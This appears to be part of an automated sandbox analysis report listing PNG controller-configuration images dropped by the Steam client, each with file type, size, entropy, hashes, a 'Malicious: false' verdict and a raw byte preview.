C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_i_x_system.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	57921
Entropy (8bit):	7.980330877457074
Encrypted:	false
SSDEEP:
MD5:	05DEE0FF2ACAD2E4BF5668CC3530B7A3
SHA1:	9225AED8CADBD5BA7C739150E9B25CB3F4FA1678
SHA-256:	66162A7B9AFDD8799D113BAE5525B96634D5149C2A35EB8DD0B7B1A7EA79C10C
SHA-512:	CA6AFC49E72ABDEED8F2600E10C051E9C3B7337C60AD9287E8B40D551C7EB8BADFBEA2284BB29967C48DB582A8C852B43E64831F7FA44EA613ECD9E5B76CF47E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:5120E97D318811E593CCFB9A413B6BE5" xmpMM:DocumentID="xmp.did:5120E97E318811E593CCFB9A413B6BE5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5120E97B318811E593CCFB9A413B6BE5" stRef:documentID="xmp.did:5120E97C318811E593CCFB9A413B6BE5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..(4...IDATx....$.U&znD.).U].U].}....F....!!!!.... ..z......<.vy.>..,b..`1.....BHB3#..hfz.w.7].f.}.?7"]eUef...:.71..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_move_dn.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	73473
Entropy (8bit):	7.242960361509061
Encrypted:	false
SSDEEP:
MD5:	9C2A89F76447682730319A98CC40713D
SHA1:	0A45333A4CE07755D43773C212F62619C20FF660
SHA-256:	728CCEBC037907CB5873B9A08F398ABEDA8029C14DF65D70806D3C23B5A50925
SHA-512:	CF7B69C3270D63CB5C5A3D29D29B267952883FA2EA378D6AD2C9D21556355BB409710D4C35EC6C4EA90B0CE02BDDED91006FE829652CB46F8B896C3A0B8C8660
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_move_lt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	58445
Entropy (8bit):	7.978004337370335
Encrypted:	false
SSDEEP:
MD5:	72EA0D0A321B70DF0588FA5304A9AFD5
SHA1:	2A78291319F72FC9C71D52CD2A48A8FC6DC6738B
SHA-256:	C8EBF6B78F2DF53BE0EF3E10D9B3C7AB737119EE27D9D214F32271A0DFDD0AAC
SHA-512:	918D6FA94807BA21A80084ACCA03FC00E0B431394F3A17A2CAD92466276BBC7CE8449368C23F68A04C1BF6330080301DF39570F239CC74F4F0445F132131E919
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_move_rt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	58424
Entropy (8bit):	7.979603434373044
Encrypted:	false
SSDEEP:
MD5:	E4A2CC3949651B9124698084934AB54B
SHA1:	E1E532AA54E98C79BE7CE49949E848EF0F06FD43
SHA-256:	22BE70E6796B4EDA4C0EF39B877642A610B68F04B62AD93D2FFFEE79C04FF417
SHA-512:	53A385ED29BD51EEB74D9256999F4DC9BC19A3CA60AFB3BE86D97E3075BC520BF45124633BF37812B593C6EF8D6B690D44137D543B9BBEEC20113E2937C08EF5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_move_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	73354
Entropy (8bit):	7.244983878308801
Encrypted:	false
SSDEEP:
MD5:	FC427BF721DD46B2633ACC947E357AEE
SHA1:	0E03404E73FAE001ED2EBFFCA46D9EA2DFEFE423
SHA-256:	AC5406656F0B3BC5BC428A8238AA766365F556A3E1A533B320D5BF4E1EAB175E
SHA-512:	A36174750D731435775CEDA9D4EA916533FD1B0A81E669E8E97B7DC73657A712A39AE473B7F2B91834BB093D09443F49ABC5AD912DBEFF51B515E2C739386A16
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_s1.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	47672
Entropy (8bit):	7.9756323018813875
Encrypted:	false
SSDEEP:
MD5:	E5554C9988ACC256CD249A51527DB2C1
SHA1:	F7A32A974F1639BE7AF1035C9A09B5BBCEB83060
SHA-256:	EE63260E87B018236D930B320403E6CDC196AA3311F5E3EC9FF1EF053D3FD506
SHA-512:	83F4FF92598F8A5B9F9FD5933C78A096E4ECDA2889389142D0756A66E77AD1581488186181FD29D3D621343CDAF5CCF0C1993227C0849D6F85F6254508FAA261
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......IDATx..y..U...Z7>3.cv !..N/Iz....C.B..t....t..o.K.D.q..}....FP.....q...QG...7t.......{n.[Uw...n....'.t...{>.].B.@>...&..nb...7...+....[.....g..[^.....I.MJ..W.o......o..Oj_..m..d.X.H..L:zGNy.J;H..vQ.G.I.K.M.....W.Y.[.]..d...y...Ve+...r.(6I.v.4rO..R..[~+_...m\|.Y,VU.'.....}..5..d...f.d1p.\|..\'.....]......<..,.....v...v..{J..7.8.'....AO..8d.!.1.w..u...%[Dt...M.'b.v..9....b../LjT...m.Z.,..\&".z.w..n.f,.#?...',.....;.{...@..v...v...v.dG.].}.......U...\......3p..8Ye.f.5.#.Zx.e":}...t..a...g...n;..~.......p.ne.........eKa.a.a....Jc.......r9.s.....(...j.^.'...b.....c6../.)...3.....M\|.X,....v...j.].}..23J.k.m.o.....7....01l..8Y...>i._..../. .i...~.D...^./KsJ?...I..>.X....N.%.'..].1.3J7.M%..v=c........,.N.M..NiX~....6...)..!.j.f.S4.QD........w..G.....8p.C..LvJ.-..\.rJ.w.y.....{.'.8Y..."..H.{..t#...d...y. ..x.k.....y;..{.b1p..8a...xi.`..lWa.a.S..z.d...?.8Y....F.A....{J.g."rQ...7....h....{m.P.m..w......7H.y..X....'.+#.vf6..Kj....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_s2.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	44725
Entropy (8bit):	7.972651857817961
Encrypted:	false
SSDEEP:
MD5:	0A997E2BEE55E9E414EC44E5812CF7E6
SHA1:	6697EBBE355074CB681FC15A0CE40DA25A8C7B47
SHA-256:	CD977053CE461BACD4F0893D2550B89F1EEE42FA5A621556E64EAA0B3A3B0125
SHA-512:	85BFC89E7E62AE90B21F83466B5F5CAD387795BC672FFD71C94C44F86F3EB5B61B9C384D1C41F8734F2FB81E14A77D5FAE8132BF492A1016C3A00BB6CAC5A55F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C.....\|IDATx..y.\Wy._Kw.x..A.l-.zoI.k_.}.$/.w.l-..j-.WlC.`2.IX'.....3...<aI ...I.........b.a ...\|.S..VuU....V}.x..Rw.[...s....R1'._.G,6....:...........?..y...^......T...O...P..7..~I......]x.4.K..V.Y.X.]~..>_....C.E...'./.7...O.........?<..u.........S..N.9..>..K.<...u?..(.3.Fk.......s..&.Y.....N.....(.Nm.q.0....}B.j....VW......?.?.....~..I#p.B..\.....uf..T.=.Tr.a.x.J.[..s.Tz.\5nR....99...3zU.k.j.......~.......K.Nh4Z...~..../}J.!.".#.$.%.f...~...~...~.....'.........I#p...f..lzG;.....%.U.eA.#..R.K....(wJ...F.E.8.Jd...............e..1...I#p.\|N.<.'E.\|.S<..Jn8.R.+..-.9.r..z...y....G}:?..F...8...}..k.onBfI...~...~..\|.T...%L.-...V.h.....R.....2.v..N....T.."...o.....G......_..<.k?..&.F..T.O..K.1a?..@..8i.9...c.~1..8xU5/.C.....S.eS.T.]v.....{N.#.F#pz......<?.....Z. M.w.y.....}.'..4.'..G8Y.o..t.....^.j[...X,.9._%.9[,..~~.4..3P...<.k....f.....?.@oi'c...A..8ic8.Nm.....F.xN=..n.....C,..*~..ERAo.?..g.`.N[....F.t.8.O.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_s3.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	45145
Entropy (8bit):	7.972868158015068
Encrypted:	false
SSDEEP:
MD5:	34EDECBB3308BC888D1F0E988B90A1D4
SHA1:	B92AC49A4A072063D4F4E92AA35548291A0AAA3D
SHA-256:	2FA532C29B55CD9D958CDC3370A49218D3EE3F725E2E8D5FCE5DC697C9F1AC44
SHA-512:	A9C5708D7332D032049F28FA8F231AD5868B8BE6B84D3EA5389C1F468BB66F45D8AEFA1A107D087F880889D0D92D3F1F0AC2E7CCDF015942F017D6F0E4524715
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C..... IDATx..y...u.Y{Q.>G.N...{....N. .........4.+....."h..e2..8.9.3...x.8...L,.R.(..L.(....E.l.F...H..}......z...$.......>.).bNGl.C....c.u.....k..16..Wc.............(.F..........V.._.q1v....^.....Q.....q.#5#x.T.A..:?"O"_"o....H~E.E.E..+yx..9....8..&.^....$...XGb.._...:N.}&p2.-...w.{.....oK~.<..5..A.d...y@.........}V.F...N.#R......<.E>.....y... p2.X.....UMf..R..k...J..2.7..KUv.".......-...].2=kUz.N..\|X.m.......q.......5p".!.M.K.\|.....<.\|..Y.Gu^E~E.E.E.E.5...Z..=..:..8..N....Tm...{A.W.Q.e.....t..D.?q..S..~F.N.#T...5Mw...y...\.....<].@...G....'......[...I.g_W.m..N=.x.c...\|&w.V.K.TJ......s#p2...N.)........9m.\|.....<>.\|.@...&........uB..t..S.2.N..=..[.R......O..~.Wu$.9.8...@.'...S....c.g2n.SN...y}.1&..8.....'...1.X.[).$..V../..f.........pP.\|.<9~...H..=. p....!.;%yJ.-.)..~.........w. p2......l..\..M.b...28..R..A....R..W...8..N_..y...^.+. .U.}..)...w2.....N...Q#.v.._u.....7U.Q.}rI..by......7+..><...u.....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_s4.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	47537
Entropy (8bit):	7.974482809421276
Encrypted:	false
SSDEEP:
MD5:	CE940278212271857B662C5EE8584A61
SHA1:	0205D91DD9DCB42ACCEECD34E0E9FC25A33AA3F8
SHA-256:	53306609AF42D97B133A52E650A0DFE50C673B900B0A16D584DEF6610A84BD93
SHA-512:	B5CCFC54F117E0820EA75F3EC4B5DBBB7BDDDA3F6919364F16FF063BDFDEB49715B9C5A36C8EE373AAD958CAC8A5334BED6D46FE0CE0DABCFA0E6D7480AF0FCF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C.....xIDATx..w.........>..F.HHb.H.<...4I..8.....$..cX.l.....8.m..m...........{1k........]U].}.x..43=..........\|.;HJ.M,Vn.\|....B.S.oyR.......W......?.@.......;....Y.5...W.o....b."m.3...i.T.....(.G\'q..u.....W\gq..u.._Z..8.y3..VqKa.d.(.E.X..%X..K....A.m\|.Y,VI.'.w....g.Z....N.........P.s..}..fj.U.......g.XE..........)..X.q.g.d1p.\.....WS.f./..1..%[ 8m%.&....=.....!..2.........Y.l].........R-.....0.....i..u...k......#...^.iXG...+......\K/...W%\|........p4............U..o3..y(T=..Z...N.....X,O.'.[I.C....Uk)..>.:..@e.....,.N..).[....G...........!C.-[.S....NPz/&Z$.#N....X,W.'.S.^..0....f%d&.X.q......$...Z..,ab.b1p.....bA\|9Yz.b..L...d'...!0o#..%8.....B.G....U.....O.X.p=.r......b]OZ.......,.N.E...ba.S..G.\|..S..!.*..(.id-..n...&....L.G....i;p.C....X.p....,.....<..I..O.O0p..8Y9,.eBw'.t.....N.UNs..(.9......E;..{.b1p..8q.2...z...U\.q..;.k..o.....b.d.Y.k.>'....x.\...:!\|.dW/.f....o...RA.v..uv.wF.~.............D.+e.uf

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	25255
Entropy (8bit):	7.422149496865672
Encrypted:	false
SSDEEP:
MD5:	D2512C54390710BD8E9DFA48C5227A93
SHA1:	015483CEE842DD9F976FE454FBA09FF743F40676
SHA-256:	A69CD3EE5F7FB3DE47E9757DBB72BCED8650CC8A4D755AFCDC2DEC2C31CA4B46
SHA-512:	52FE98744E6235CD2F7F22A87BF59B8E650DF0973D496678062AE1B6A62D53832DD57BF923993F7CF7C23AE8992CE4330D364BBE5254DDB69D2E9617BA67D7B4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx.....\...w..q...E.d....mw..==..3M..N...........t..w..~.....F..B..?.."c..JYU.'_...]*+/..:.s..............X}.)........4.........&B........0..`.................L.........`"..........!...........0.......D.........&B........0..`.................L.........`"..........!...........0.......D.........&B........0..`.................L.........`"..........!...........0.......D.........&B........0..`.................L.........`"..........!...........0.......D.........&B........0..`.................L.........`"..........!...........0.......D.........&B........0..`.................L.........`"..........!...........0.......D.........&B........0..`.................L.........`"..........!...........0.......D.........&B........0..`.................L.........`"..........!...........0.......D.........&B........0..`.................L.........`"..........!...........0.......D.........&B........0..`.................L.........`"..........!...........0.......D.........

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_1.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10211
Entropy (8bit):	5.026714112310012
Encrypted:	false
SSDEEP:
MD5:	0F0AB26E5EBFA77C5240FEED32E3BA27
SHA1:	28D1269EB28250026E974E8402555D8963D825FD
SHA-256:	E5F5D0F97F59A32CD0644027D3D28C053D25821E9EE4B0C909FC458A6E000447
SHA-512:	BE4BDA8D8EA001F6DBF5F7D2EF501FA5C04E81630F4D88E17FF0A28F6D50E6D9B6D0B17B28B22CDF21B97B633A190566A8D09B17EFA139713BDEA6B53E100E54
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx....s..}...<I..I...ns.M...L....}.r...t.t..0v,..i.......AP<...yf`.$....P..h}.........._g........2.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!..................B.........!.`.........0......@......... ..........B.........!......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_10.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16695
Entropy (8bit):	6.5448770330336385
Encrypted:	false
SSDEEP:
MD5:	640A8C58BD72A8176822E0D68DA6FB5E
SHA1:	F1F3D369911BEAEEB085615BA40EB6F8E94E0B9D
SHA-256:	2A08DB067F2F78DB0480F16ABD6AACC6BD5F8DD33B10D6C5D30C528D7573D278
SHA-512:	2177F18C92BF96030B51FAFBFC3F4684812B4B8D8222BF4C24CD7219C58E8008C9BBCA620A744858C190C78774D176FCD447931740365A9EBB246EFBE52C34B5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx....dw~........x.x....:."+w.a.f.....@.....J....@"...!.....&$J@(....)A..D....m".......:..U\.:...==.=.^/...X..S..._.^............>..........`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".`.......".

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_11.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	26460
Entropy (8bit):	7.28720823825271
Encrypted:	false
SSDEEP:
MD5:	0998B7B9BB8BB286F5C60AFB758861E4
SHA1:	719F88B355122F4F74175EBF64FDFC1C1B03EC7E
SHA-256:	EC0305613E64663A6C858ACE5817C2F1B6024AA61D8E87954A8CA7B9ED3F55F6
SHA-512:	2264F1BDB84016C2029AC591F6076A57E71646209984B26EB1BE061FA246D0E113F718EC945E761D2EA21518AC56B5B98EADF8DC3D0EE3264866F0C87828B1B4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.................. .IDATx...{...]......{........r)bHh..M..h0.. ...C...../.cE.."A.......X../.)"..H.(.P)...3........<.s..{.3.g...J..=sf.Ys.t...~...j......................0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P............0......@!.`.......B....................!.........B........(.........P..........

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_12.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	36127
Entropy (8bit):	5.205747690593335
Encrypted:	false
SSDEEP:
MD5:	B933973DF3BC5E1334205A4361EA216E
SHA1:	2A4CE3753D11A7391FFEFABF2A8B46B32640BEA2
SHA-256:	CB138529611A2CDA338DA20AAA8188677F796E32605D735ED072E1236D8892AE
SHA-512:	BA101AB54EBB650B67E86FFE8BB44F913B3C4FC5F1159C4E661F924125A898E7841A54CCCF300D6ABEA237EC74355963C0C9118E5E44FAD2A9D65C212425C68F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR....................pHYs...............I.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2015-08-20T12:37:32-07:00</xmp:CreateDate>. <

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_13.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	38408
Entropy (8bit):	5.447790152621573
Encrypted:	false
SSDEEP:
MD5:	E97E7AEF491B7996F5B37A5D6BFE70EF
SHA1:	821C29CBD5C4DF0BBA649841D30802673382019F
SHA-256:	1FBB0F1AE0A47B678D306D4064E51AA25BEA405D1DF9EF4F65C5F172E79DFD40
SHA-512:	32C1A90BB61CA467B7EFFFC120AAF7E2EC7366C78CA9F7A7C9E4FC83FDDF28B82797EA8288BF68AF5253CAF2FCCF8E8E34FD288F1CB4180C58DB7A26EF576ED4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR....................pHYs...............I.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2015-08-20T12:37:32-07:00</xmp:CreateDate>. <

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_lines_14.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 696, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23608
Entropy (8bit):	7.1013891517490935
Encrypted:	false
SSDEEP:
MD5:	8F50DD27392CDADE368558BEF7DC2033
SHA1:	962B21233301A78132094AFC8FE6A8C75EB24DF3
SHA-256:	6685A56BFAB4CF4FBE62291F76676DD5BCF611A3DD2A01FB17F96FE00A5CCD2C
SHA-512:	FBAB98C7E89BFAC00946F8AC2955429268A2764541B1B022E690735271055B1FB43E1E35A07D5F17EADEB46FDAC2477789263E94AAB27F9DCEFAC87E6460B565
Malicious:	false
Reputation:	unknown
